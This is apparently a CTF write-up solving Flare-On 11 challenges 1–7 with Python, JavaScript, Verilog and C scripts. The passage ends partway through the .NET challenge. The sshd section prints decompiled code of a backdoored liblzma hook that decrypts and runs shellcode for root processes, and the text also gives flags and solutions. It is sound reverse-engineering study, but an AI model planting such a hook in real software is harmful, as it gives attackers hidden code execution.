Flare-On 11 Writeup - csmantle
Forewords
First time player, first time finisher. Thank you FLARE team/MANDIANT for these great challenges in Flare-On 11 that really satisfied my appetite for high-quality inspirations of what could still be done in reverse engineering.
- URL: https://flare-on11.ctfd.io/
- Username: csmantle (Individual participation)
- Status: Done, #179
A small number of long scripts in this post has been snipped out of actual data definitions for brevity and bandwidth, yet I am very glad to provide complete code if PM’d (via email, comments, etc. ).
- Forewords
- 1 - frog
- 2 - checksum
- 3 - aray
- 4 - Meme Maker 3000
- 5 - sshd
- 6 - bloke2
- 7 - fullspeed
- 8 - clearlyfake
- 9 - serpentine
- 10 - CatbertRansomware
1 - frog
Welcome to Flare-On 11! Download this 7zip package, unzip it with the password ‘flare’, and read the README.txt file for launching instructions. It is written in PyGame so it may be runnable under many architectures, but also includes a pyinstaller created EXE file for easy execution on Windows. Your mission is get the frog to the “11” statue, and the game will display the flag. Enter the flag on this page to advance to the next stage. All flags in this event are formatted as email addresses ending with the @flare-on.com domain.
A basic understanding of Python and PyGame is everything we need.
victory_tile = pygame.Vector2(10, 10)
def GenerateFlagText(x, y):
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
return ''.join([chr(ord(c) ^ key) for c in encoded])
def main():
...
while running:
...
if not victory_mode:
# are they on the victory tile? if so do victory
if player.x == victory_tile.x and player.y == victory_tile.y:
victory_mode = True
flag_text = GenerateFlagText(player.x, player.y)
flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
print("%s" % flag_text)
x = y = 10
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
print(''.join([chr(ord(c) ^ key) for c in encoded]))
welcome_to_11@flare-on.com
2 - checksum
We recently came across a silly executable that appears benign. It just asks us to do some math… From the strings found in the sample, we suspect there are more to the sample than what we are seeing. Please investigate and let us know what you find! 7zip archive password: flare
Rather straight forward Golang reverse engineering. Patching away the initial questions would get us straight to the decryption.
import base64
from pwn import xor
STR_MAIN_A_TARGET = "cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA=="
def gen_main_a_map(length: int) -> list[int]:
l = []
TABLE = b"FlareOn2024"
for i in range(length):
rdx_2 = ((i * 0x5d1745d1745d1746) & 0xffffffffffffffff0000000000000000) >> 64
rax_3 = i - (rdx_2 // 4) * 0xb
l.append(TABLE[rax_3])
return l
buf = base64.b64decode(STR_MAIN_A_TARGET)
key = bytes(gen_main_a_map(len(buf)))
assert len(buf) == len(key)
cksm = xor(buf, key)
print(cksm)
Checksum: 7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd
3 - aray
And now for something completely different. I’m pretty sure you know how to write Yara rules, but can you reverse them? 7zip archive password: flare
YARA rules are useful in searching for patterns in binary and text files, especially when used as heuristics for malwares.
The handout of this challenge is a YARA source file, from which we can extract required constraints via a script and use Z3 Solver to find the result satisfying all the predicates.
import hashlib
import itertools as it
import re
import string
import typing as ty
from zlib import crc32
import z3
from pwn import error, info, success, warn
RESTR_ATOM_REF8 = r"uint8**\(**([0-9]+)**\)**"
RESTR_ATOM_REF32 = r"uint32**\(**([0-9]+)**\)**"
RESTR_ATOM_DEC = r"([0-9]+)"
RESTR_ATOM_HEX = r"(0x[0-9a-f]+)"
RESTR_ATOM_HEXSTR = r"**\"**([0-9a-f]+)**\"**"
RESTR_ATOM_HASH = r"hash.(sha256|md5|crc32)**\(**([0-9]+), ([0-9]+)**\)**"
RESTR_ATOM_CMP = r"(==|!=|<|>)"
RESTR_ATOM_OP = r"(**\^**|&|%|**\+**|-)"
RE_STMT_SIMPLE8 = re.compile(f"^{RESTR_ATOM_REF8} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$")
RE_STMT_BINOP8_L = re.compile(
f"^{RESTR_ATOM_REF8} {RESTR_ATOM_OP} {RESTR_ATOM_DEC} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$"
)
RE_STMT_BINOP8_R = re.compile(
f"^{RESTR_ATOM_DEC} {RESTR_ATOM_OP} {RESTR_ATOM_REF8} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$"
)
RE_STMT_BINOP32_L = re.compile(
f"^{RESTR_ATOM_REF32} {RESTR_ATOM_OP} {RESTR_ATOM_DEC} {RESTR_ATOM_CMP} {RESTR_ATOM_DEC}$"
)
RE_STMT_HASH_STR = re.compile(
f"^{RESTR_ATOM_HASH} {RESTR_ATOM_CMP} {RESTR_ATOM_HEXSTR}$"
)
RE_STMT_HASH_HEX = re.compile(f"^{RESTR_ATOM_HASH} {RESTR_ATOM_CMP} {RESTR_ATOM_HEX}$")
with open("aray/constraints.txt", "rt") as f:
constraints = [
constr.strip() for constr in f.read().replace("filesize", "85").split(" and ")
][1:]
N_UNKNOWNS = 85
UNK_WIDTH = 8
x = [z3.BitVec(f"x_{i}", UNK_WIDTH) for i in range(N_UNKNOWNS)]
solver = z3.Solver()
hash_constrs: list[tuple[str, str, int, int, str]] = []
for constr in constraints:
match RE_STMT_SIMPLE8.match(constr):
case None:
pass
case m:
ref_id = int(m.group(1))
cmp_op = m.group(2)
lit_val = z3.BitVecVal(int(m.group(3)), 8)
if cmp_op == "==":
expr = x[ref_id] == lit_val
elif cmp_op == "!=":
expr = x[ref_id] != lit_val
elif cmp_op == "<":
expr = z3.ULT(x[ref_id], lit_val)
elif cmp_op == ">":
expr = z3.UGT(x[ref_id], lit_val)
else:
assert 0, cmp_op
solver.add(expr)
continue
match RE_STMT_BINOP8_L.match(constr):
case None:
pass
case m:
ref_id = int(m.group(1))
op = m.group(2)
lit_val1 = z3.BitVecVal(int(m.group(3)), 8)
cmp_op = m.group(4)
lit_val2 = z3.BitVecVal(int(m.group(5)), 8)
if op == "^":
lhs = x[ref_id] ^ lit_val1
elif op == "&":
lhs = x[ref_id] & lit_val1
elif op == "%":
lhs = z3.URem(x[ref_id], lit_val1)
elif op == "+":
lhs = x[ref_id] + lit_val1
elif op == "-":
lhs = x[ref_id] - lit_val1
else:
assert 0, op
if cmp_op == "==":
expr = lhs == lit_val2
elif cmp_op == "!=":
expr = lhs != lit_val2
elif cmp_op == "<":
expr = z3.ULT(lhs, lit_val2)
elif cmp_op == ">":
expr = z3.UGT(lhs, lit_val2)
else:
assert 0, cmp_op
solver.add(expr)
continue
match RE_STMT_BINOP8_R.match(constr):
case None:
pass
case m:
lit_val1 = z3.BitVecVal(int(m.group(1)), 8)
op = m.group(2)
ref_id = int(m.group(3))
cmp_op = m.group(4)
lit_val2 = z3.BitVecVal(int(m.group(5)), 8)
if op == "^":
lhs = x[ref_id] ^ lit_val1
elif op == "&":
lhs = x[ref_id] & lit_val1
elif op == "%":
lhs = z3.URem(x[ref_id], lit_val1)
elif op == "+":
lhs = x[ref_id] + lit_val1
elif op == "-":
lhs = x[ref_id] - lit_val1
else:
assert 0, op
if cmp_op == "==":
expr = lhs == lit_val2
elif cmp_op == "!=":
expr = lhs != lit_val2
elif cmp_op == "<":
expr = z3.ULT(lhs, lit_val2)
elif cmp_op == ">":
expr = z3.UGT(lhs, lit_val2)
else:
assert 0, cmp_op
solver.add(expr)
continue
match RE_STMT_BINOP32_L.match(constr):
case None:
pass
case m:
ref_id = int(m.group(1))
ref = z3.Concat(x[ref_id + 3], x[ref_id + 2], x[ref_id + 1], x[ref_id])
op = m.group(2)
lit_val1 = z3.BitVecVal(int(m.group(3)), 32)
cmp_op = m.group(4)
lit_val2 = z3.BitVecVal(int(m.group(5)), 32)
if op == "^":
lhs = ref ^ lit_val1
elif op == "+":
lhs = ref + lit_val1
elif op == "-":
lhs = ref - lit_val1
else:
assert 0, op
if cmp_op == "==":
expr = lhs == lit_val2
else:
assert 0, cmp_op
solver.add(expr)
continue
match RE_STMT_HASH_STR.match(constr):
case None:
pass
case m:
hash_constrs.append(
(constr, m.group(1), int(m.group(2)), int(m.group(3)), m.group(5))
)
continue
match RE_STMT_HASH_HEX.match(constr):
case None:
pass
case m:
hash_constrs.append(
(constr, m.group(1), int(m.group(2)), int(m.group(3)), m.group(5))
)
continue
assert 0, constr
if solver.check() != z3.sat:
error("Unsat")
exit(1)
info("Hash constraints:")
for hash_constr in hash_constrs:
info(hash_constr)
result: list[ty.Any] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
result[int(d.name()[2:])] = m[d].as_long() # type: ignore
buf = bytearray(result)
info(buf.decode("ascii", errors="replace"))
ALPHABET = (string.printable).encode("ascii")
for hash_constr in hash_constrs:
if hash_constr[1] == "sha256":
for comb in it.product(ALPHABET, repeat=hash_constr[3]):
hasher = hashlib.sha256()
hasher.update(bytes(comb))
if hasher.digest() == bytes.fromhex(hash_constr[4]):
info(f"Found correct sha256 for {hash_constr[0]}: {bytes(comb)}")
for i, c in enumerate(comb):
result[hash_constr[2] + i] = c
break
elif hash_constr[1] == "md5" and hash_constr[3] <= 8:
for comb in it.product(ALPHABET, repeat=hash_constr[3]):
hasher = hashlib.md5()
hasher.update(bytes(comb))
if hasher.digest() == bytes.fromhex(hash_constr[4]):
info(f"Found correct md5 for {hash_constr[0]}: {bytes(comb)}")
for i, c in enumerate(comb):
result[hash_constr[2] + i] = c
break
elif hash_constr[1] == "crc32":
for comb in it.product(ALPHABET, repeat=hash_constr[3]):
digest = crc32(bytes(comb))
if digest == int(hash_constr[4], 0):
info(f"Found correct crc32 for {hash_constr[0]}: {bytes(comb)}")
for i, c in enumerate(comb):
result[hash_constr[2] + i] = c
break
else:
warn(f"UNIMP {hash_constr[0]}")
assert hash_constrs[0][1] == "md5"
hasher = hashlib.md5()
hasher.update(bytes(result))
assert hasher.digest() == bytes.fromhex(hash_constrs[0][4])
success(bytes(result).decode("ascii", errors="replace"))
rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f }
1RuleADayK33p$Malw4r3Aw4y@flare-on.com
4 - Meme Maker 3000
You’ve made it very far, I’m proud of you even if noone else is. You’ve earned yourself a break with some nice HTML and JavaScript before we get into challenges that may require you to be very good at computers. 7zip archive password: flare
Straightforward JavaScript reverse engineering. More often than not, running critical or suspicious snippets in your browser or Node.js is really beneficial.
function a0k() {
const t = a0p,
a = a0g[t(0xa1d)]["split"]("/")[t(0x7e8)]();
if (a !== Object[t(0x59c5)](a0e)[0x5]) return;
const b = a0l["textCo" + "ntent"],
c = a0m[t(0x10f5a) + t(0x125ab)],
d = a0n["textCo" + "ntent"];
if (
a0c[t(0x12d23) + "f"](b) == 0xe &&
a0c[t(0x12d23) + "f"](c) == a0c[t(0x1544d)] - 0x1 &&
a0c[t(0x12d23) + "f"](d) == 0x16
) {
var e = new Date()[t(0x1094a) + "e"]();
while (new Date()[t(0x1094a) + "e"]() < e + 0xbb8) {}
var f =
d[0x3] +
"h" +
a[0xa] +
b[0x2] +
a[0x3] +
c[0x5] +
c[c[t(0x1544d)] - 0x1] +
"5" +
a[0x3] +
"4" +
a[0x3] +
c[0x2] +
c[0x4] +
c[0x3] +
"3" +
d[0x2] +
a[0x3] +
"j4" +
a0c[0x1][0x2] +
d[0x4] +
"5" +
c[0x2] +
d[0x5] +
"1" +
c[0xb] +
"7" +
a0c[0x15][0x1] +
b[t(0x15e39) + "e"]("\x20", "-") +
a[0xb] +
a0c[0x4][t(0x9a82) + t(0x1656b)](0xc, 0xf);
(f = f[t(0x143fc) + t(0x8c67)]()),
alert(
atob(
t(0x14e2b) +
t(0x4c22) +
"YXRpb2" +
t(0x1708e) +
t(0xaa98) +
t(0x16697) +
t(0x109c4)
) + f
);
}
}
wh0a_it5_4_cru3l_j4va5cr1p7@flare-on.com
5 - sshd
Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you. 7zip archive password: flare
In fact I didn’t even think about the XZ backdoor when solving this challenge. It can be done simply as a normal forensics and RE task.
First clue of the compromised library comes from the mismatched hash when trying to download and load debug symbols in GDB. I spun up a VPS running exactly the same version of Debian and related libraries to ensure a consistent environment before proceeding.
The coredump makes multiple references to liblzma.so.5.
There is a suspicious ChaCha20 sigma constant here.
BinDiff’ing given liblzma.so.5.4.1 with a normal distributed library (which is actually liblzma.so.5.6.2):
We can see the backdoored liblzma patches loaded RSA_public_decrypt
for RCE, yet the name was wrong (a space being erroneously appended).
void __fastcall init_crypt_state(state *buf, const uint32_t *key, const uint32_t *nonce, __int64 ctr)
{
unsigned __int64 v5; // rdi
uint32_t v7; // ecx
uint32_t v8; // ecx
uint32_t v9; // edx
uint32_t v10; // eax
*(_QWORD *)buf->x = 0LL;
v5 = (unsigned __int64)&buf->x[2];
*(_QWORD *)(v5 + 176) = 0LL;
memset((void *)(v5 & 0xFFFFFFFFFFFFFFF8LL), 0, 8 * (((unsigned int)buf - (v5 & 0xFFFFFFF8) + 192) >> 3));
*(__m128i *)buf->what_key = _mm_loadu_si128((const __m128i *)key);
*(__m128i *)&buf->what_key[4] = _mm_loadu_si128((const __m128i *)key + 1);
*(_QWORD *)buf->what_nonce = *(_QWORD *)nonce;
v7 = nonce[2];
qmemcpy(buf->chacha20_sigma, "expand 32-byte k", sizeof(buf->chacha20_sigma));
buf->what_nonce[2] = v7;
buf->chacha20_key[0] = *key;
buf->chacha20_key[1] = key[1];
buf->chacha20_key[2] = key[2];
buf->chacha20_key[3] = key[3];
buf->chacha20_key[4] = key[4];
buf->chacha20_key[5] = key[5];
buf->chacha20_key[6] = key[6];
v8 = key[7];
buf->chacha20_nonce[0] = 0;
buf->chacha20_key[7] = v8;
buf->chacha20_nonce[1] = *nonce;
buf->chacha20_nonce[2] = nonce[1];
buf->chacha20_nonce[3] = nonce[2];
*(_QWORD *)buf->what_nonce = *(_QWORD *)nonce;
v9 = nonce[2];
v10 = buf->what_nonce[0] + HIDWORD(ctr);
buf->chacha20_nonce[0] = ctr;
buf->what_nonce[2] = v9;
buf->chacha20_nonce[1] = v10;
buf->what_ctr = ctr;
buf->rem = 64LL;
}
int __fastcall RSA_public_decrypt_patched(int flen, unsigned __int8 *from, unsigned __int8 *to, void *rsa, int padding)
{
const char *v9; // rsi
void *old_func; // rax
void *mshellcode; // rax
void (*fshellcode)(void); // [rsp+8h] [rbp-120h]
state state; // [rsp+20h] [rbp-108h] BYREF
unsigned __int64 v15; // [rsp+E8h] [rbp-40h]
v15 = __readfsqword(0x28u);
v9 = "RSA_public_decrypt";
if ( !getuid() )
{
if ( *(_DWORD *)from == 0xC5407A48 )
{
init_crypt_state(&state, (const uint32_t *)from + 1, (const uint32_t *)from + 9, 0LL);
mshellcode = mmap(0LL, len_shellcode, 7, 34, -1, 0LL);
fshellcode = (void (*)(void))memcpy(mshellcode, &shellcode, len_shellcode);
do_some_enc(&state, fshellcode, len_shellcode);
fshellcode();
init_crypt_state(&state, (const uint32_t *)from + 1, (const uint32_t *)from + 9, 0LL);
do_some_enc(&state, fshellcode, len_shellcode);
}
v9 = "RSA_public_decrypt ";
}
old_func = dlsym(0LL, v9);
return ((__int64 (__fastcall *)(_QWORD, unsigned __int8 *, unsigned __int8 *, void *, _QWORD))old_func)(
(unsigned int)flen,
from,
to,
rsa,
(unsigned int)padding);
}
Recovering ChaCha20 parameters allows us to write a CyberChef recipe to decrypt the shellcode.
Note the capital K
here.
Then browse the stack according to calculated offsets to find received keys and encrypted file content.
Decrypt to find the flag.
/*
* Copyright (C) 2024 Rong "Mantle" Bao
*
* This script uses <https://github.com/marcizhu/ChaCha20/>.
*
* Copyright (C) 2022 Marc Izquierdo
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
typedef uint8_t key256_t[32];
typedef uint8_t nonce96_t[12];
typedef struct {
uint32_t state[4 * 4];
} ChaCha20_Ctx;
// Note the changed constant
#define CHACHA20_CONSTANT "expand 32-byte K"
#define CHACHA20_ROTL(x, n) (((x) << (n)) | ((x) >> (32 - (n))))
#define CHACHA20_QR(a, b, c, d) \
a += b; \
d = CHACHA20_ROTL(d ^ a, 16); \
c += d; \
b = CHACHA20_ROTL(b ^ c, 12); \
a += b; \
d = CHACHA20_ROTL(d ^ a, 8); \
c += d; \
b = CHACHA20_ROTL(b ^ c, 7)
static uint32_t pack4(const uint8_t* a) {
uint32_t res = (uint32_t)a[0] << 0 * 8 | (uint32_t)a[1] << 1 * 8 |
(uint32_t)a[2] << 2 * 8 | (uint32_t)a[3] << 3 * 8;
return res;
}
static void ChaCha20_block_next(const uint32_t in[16], uint32_t out[16],
uint8_t** keystream) {
for (int i = 0; i < 4 * 4; i++) out[i] = in[i];
// Round 1/10
CHACHA20_QR(out[0], out[4], out[8], out[12]); // Column 0
CHACHA20_QR(out[1], out[5], out[9], out[13]); // Column 1
CHACHA20_QR(out[2], out[6], out[10], out[14]); // Column 2
CHACHA20_QR(out[3], out[7], out[11], out[15]); // Column 3
CHACHA20_QR(out[0], out[5], out[10],
out[15]); // Diagonal 1 (main diagonal)
CHACHA20_QR(out[1], out[6], out[11], out[12]); // Diagonal 2
CHACHA20_QR(out[2], out[7], out[8], out[13]); // Diagonal 3
CHACHA20_QR(out[3], out[4], out[9], out[14]); // Diagonal 4
// Round 2/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 3/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 4/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 5/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 6/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 7/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 8/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 9/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
// Round 10/10
CHACHA20_QR(out[0], out[4], out[8], out[12]);
CHACHA20_QR(out[1], out[5], out[9], out[13]);
CHACHA20_QR(out[2], out[6], out[10], out[14]);
CHACHA20_QR(out[3], out[7], out[11], out[15]);
CHACHA20_QR(out[0], out[5], out[10], out[15]);
CHACHA20_QR(out[1], out[6], out[11], out[12]);
CHACHA20_QR(out[2], out[7], out[8], out[13]);
CHACHA20_QR(out[3], out[4], out[9], out[14]);
for (int i = 0; i < 4 * 4; i++) out[i] += in[i];
if (keystream != NULL) *keystream = (uint8_t*)out;
}
void ChaCha20_init(ChaCha20_Ctx* ctx, const key256_t key, const nonce96_t nonce,
uint32_t count) {
ctx->state[0] = pack4((const uint8_t*)CHACHA20_CONSTANT + 0 * 4);
ctx->state[1] = pack4((const uint8_t*)CHACHA20_CONSTANT + 1 * 4);
ctx->state[2] = pack4((const uint8_t*)CHACHA20_CONSTANT + 2 * 4);
ctx->state[3] = pack4((const uint8_t*)CHACHA20_CONSTANT + 3 * 4);
ctx->state[4] = pack4(key + 0 * 4);
ctx->state[5] = pack4(key + 1 * 4);
ctx->state[6] = pack4(key + 2 * 4);
ctx->state[7] = pack4(key + 3 * 4);
ctx->state[8] = pack4(key + 4 * 4);
ctx->state[9] = pack4(key + 5 * 4);
ctx->state[10] = pack4(key + 6 * 4);
ctx->state[11] = pack4(key + 7 * 4);
ctx->state[12] = count;
ctx->state[13] = pack4(nonce + 0 * 4);
ctx->state[14] = pack4(nonce + 1 * 4);
ctx->state[15] = pack4(nonce + 2 * 4);
}
void ChaCha20_xor(ChaCha20_Ctx* ctx, uint8_t* buffer, size_t bufflen) {
uint32_t tmp[4 * 4];
uint8_t* keystream = NULL;
for (size_t i = 0; i < bufflen; i += 64) {
ChaCha20_block_next(ctx->state, tmp, &keystream);
ctx->state[12]++;
if (ctx->state[12] == 0) {
ctx->state[13]++;
assert(ctx->state[13] != 0);
}
for (size_t j = i; j < i + 64; j++) {
if (j >= bufflen) break;
buffer[j] = buffer[j] ^ keystream[j - i];
}
}
}
int main(void) {
static key256_t key = {0x8d, 0xec, 0x91, 0x12, 0xeb, 0x76, 0x0e, 0xda,
0x7c, 0x7d, 0x87, 0xa4, 0x43, 0x27, 0x1c, 0x35,
0xd9, 0xe0, 0xcb, 0x87, 0x89, 0x93, 0xb4, 0xd9,
0x04, 0xae, 0xf9, 0x34, 0xfa, 0x21, 0x66, 0xd7};
static nonce96_t nonce = {0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11};
uint32_t count = 0;
static uint8_t data[] = {0xa9, 0xf6, 0x34, 0x08, 0x42, 0x2a, 0x9e, 0x1c,
0x0c, 0x03, 0xa8, 0x08, 0x94, 0x70, 0xbb, 0x8d,
0xaa, 0xdc, 0x6d, 0x7b, 0x24, 0xff, 0x7f, 0x24,
0x7c, 0xda, 0x83, 0x9e, 0x92, 0xf7, 0x07, 0x1d};
ChaCha20_Ctx ctx;
ChaCha20_init(&ctx, key, nonce, count);
ChaCha20_xor(&ctx, data, sizeof(data));
for (size_t i = 0; i < sizeof data; i++) {
putchar(data[i]);
}
return 0;
}
supp1y_cha1n_sund4y@flare-on.com
6 - bloke2
You’ve been so helpful lately, and that was very good work you did. Yes, I’m going to put it right here, on the refrigerator, very good job indeed. You’re the perfect person to help me with another issue that come up. One of our lab researchers has mysteriously disappeared. He was working on the prototype for a hashing IP block that worked very much like, but not identically to, the common Blake2 hash family. Last we heard from him, he was working on the testbenches for the unit. One of his labmates swears she knew of a secret message that could be extracted with the testbenches, but she couldn’t quite recall how to trigger it. Maybe you could help? 7zip archive password: flare
Verilog is nothing new to me, so solving this challenge took little. However, a hex constant sticking out in any source code would be obvious to careful analyists, so the problem would reduce to how exactly can we trigger the correct state.
It is not difficult to spot a test flag which is loaded while asserting both finish
and start
.
always @(posedge clk) begin
if (rst | start) begin
...
tst <= finish;
end else begin
...
end
end
localparam TEST_VAL = 512'h3c9cf0addf2e45ef548b011f736cc99144bdfee0d69df4090c8a39c520e18ec3bdc1277aad1706f756affca41178dac066e4beb8ab7dd2d1402c4d624aaabe40;
always @(posedge clk) begin
if (rst) begin
...
end else begin
...
h <= h_in ^ (TEST_VAL & {(W*16){tst}});
end
end
start <= 1'b1;
finish <= 1'b1;
@(posedge clk);
start <= 1'b0;
finish <= 1'b0;
please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com
7 - fullspeed
Has this all been far too easy? Where’s the math? Where’s the science? Where’s the, I don’t know…. cryptography? Well we don’t know about any of that, but here is a little .NET binary to chew on while you discuss career changes with your life coach. 7zip archive password: flare
This is a RE challenge with a crypto filling, yet the attack here does not require a lot of maths or reasoning. Symbol recovery is done via compiling a BouncyCastle .NET 8 AOT program then BinDiff-ing it with the handout binary. Afterwards, finding the exploitable properties of the given curve is rudimentary.
void init_statics()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
curve_q = RhpNewFast(&unk_14015B268);
s_q = dec_str(&STR_Q);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(curve_q, (__int64)s_q, 16);
curve_a = RhpNewFast(&unk_14015B268);
s_a = dec_str(&STR_A);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(curve_a, (__int64)s_a, 16);
curve_b = RhpNewFast(&unk_14015B268);
s_b = dec_str(&STR_B);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(curve_b, (__int64)s_b, 16);
gen_x = RhpNewFast(&unk_14015B268);
v7 = dec_str(&STR_GEN_X);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(gen_x, (__int64)v7, 16);
gen_y = RhpNewFast(&unk_14015B268);
v9 = dec_str(&STR_GEN_Y);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(gen_y, (__int64)v9, 16);
curve = RhpNewFast(&unk_14015B618);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_FpCurve___ctor_1(curve, curve_q, curve_a, curve_b, 0i64, 0i64, 0);
if ( qword_140158FC0[-1] )
_GetGCStaticBase_System_Net_Sockets_System_Net_Sockets_SocketsTelemetry();
v11 = glb_obj_state;
RhpAssignRefAVLocation(&glb_obj_state->curve, curve);
gen = (*(__int64 (__fastcall **)(void *, __int64, __int64))(*(_QWORD *)v11->curve
+ 88i64))(
v11->curve,
gen_x, // __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECCurve__CreatePoint(__int64 *a1, __int64 a2, __int64 a3)
gen_y);
RhpAssignRefAVLocation(&v11->gen, gen);
sys_random = RhpNewFast(&unk_14015B188);
Prng = BouncyCastle_Cryptography_Org_BouncyCastle_Security_SecureRandom__CreatePrng(&qword_140149B98, 1i64);
S_P_CoreLib_System_Random___ctor_0(sys_random, 0i64);
RhpAssignRefAVLocation((void **)(sys_random + 16), Prng);
RhpAssignRefAVLocation(&v11->prng, sys_random);
}
void __stdcall do_kex()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
memset(bufs, 0, sizeof(bufs));
if ( qword_140158FC0[-1] )
_GetGCStaticBase_System_Net_Sockets_System_Net_Sockets_SocketsTelemetry();
objs = glb_obj_state;
bigint_0x13371337 = RhpNewFast(&unk_14015B268);
str_13371337 = dec_str(&qword_14013E9F8);
